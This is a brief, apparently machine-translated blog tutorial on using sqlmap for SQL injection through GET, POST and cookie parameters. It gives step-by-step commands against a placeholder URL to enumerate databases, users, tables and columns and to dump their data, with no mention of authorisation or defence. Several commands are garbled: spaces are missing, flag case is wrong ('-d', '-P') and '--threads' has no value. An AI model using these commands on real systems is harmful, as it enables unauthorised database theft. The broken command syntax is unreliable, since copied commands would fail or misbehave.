Using SQLMAP to implement basic SQL injection

injection is basically divided into the following three types:
1.get class:sqlmap-u "Http://xxx?x=xx"
2.post class : sqlmap-r "Xxx.txt"
3.cookie class: sqlmap-u "http://xxx?x=xx" –cookie= "X=xx&y=yy"--level=2

A Get class

1, enumerate the databases: sqlmap-u "Http://xxx?x=xx"--dbs

2, get the current database:sqlmap-u "Http://xxx?x=xx"--current-db

3, get the current user name: sqlmap-u "Http://xxx?x=xx"--current-user

4, enumeration table: sqlmap-u "http://xxx?x=xx"-D "library name"--tables

5, Enumerate fields: sqlmap-u "Http://xxx?x=xx"-D "library name"-T "table name"--columns

6, Data Dump: sqlmap-u "http://xxx?x=xx"  -d "library name"-T "table name"--dump

or dump specifies the column: sqlmap-u "http://xxx?x=xx"-D "library name"-T "table name"-C "Xx,yy,zz"--dump

Two post classes

In general, for post injection, you first need to use Burpsuite and other tools to extract the post form to be injected to save in a TXT document, and then start to inject

Enumerate databases: sqlmap-r "xxx.txt"--dbs

(PS: Other and get type)

three cookie class  

Because SQLMAP only supports injection testing of the Get/post parameter by default, the parameters of the cookie face are checked when the –level parameter is used and the value is >=2, and >=3 and user-agent are checked when referer. So for a cookie injection, add--level 2 directly to the back.

Enumerate databases : Sqlmap-u "http://xxx?x=xx" –cookie= "X=xx&y=yy"--level=2--dbs

Four other commonly used parameters

--threads Multi-Threading allows Sqlmap to run faster

eg: sqlmap-u "Http://xxx?x=xx"--threads--dbs

-p Manually Specify injection parameters

Eg: sqlmap-u "http://xxx?x=xx"-P "id"--threads--dbs

--DBMS specifies an injected database management system that is used when a database management system is known to target

eg: sqlmap-u "http://xxx?x=xx"-P "id"--dbms "MYSQL"--threads--dbs

This article is from the "Zifangsky" blog, make sure to keep this source http://983836259.blog.51cto.com/7311475/1631717

Using SQLMAP to implement basic SQL injection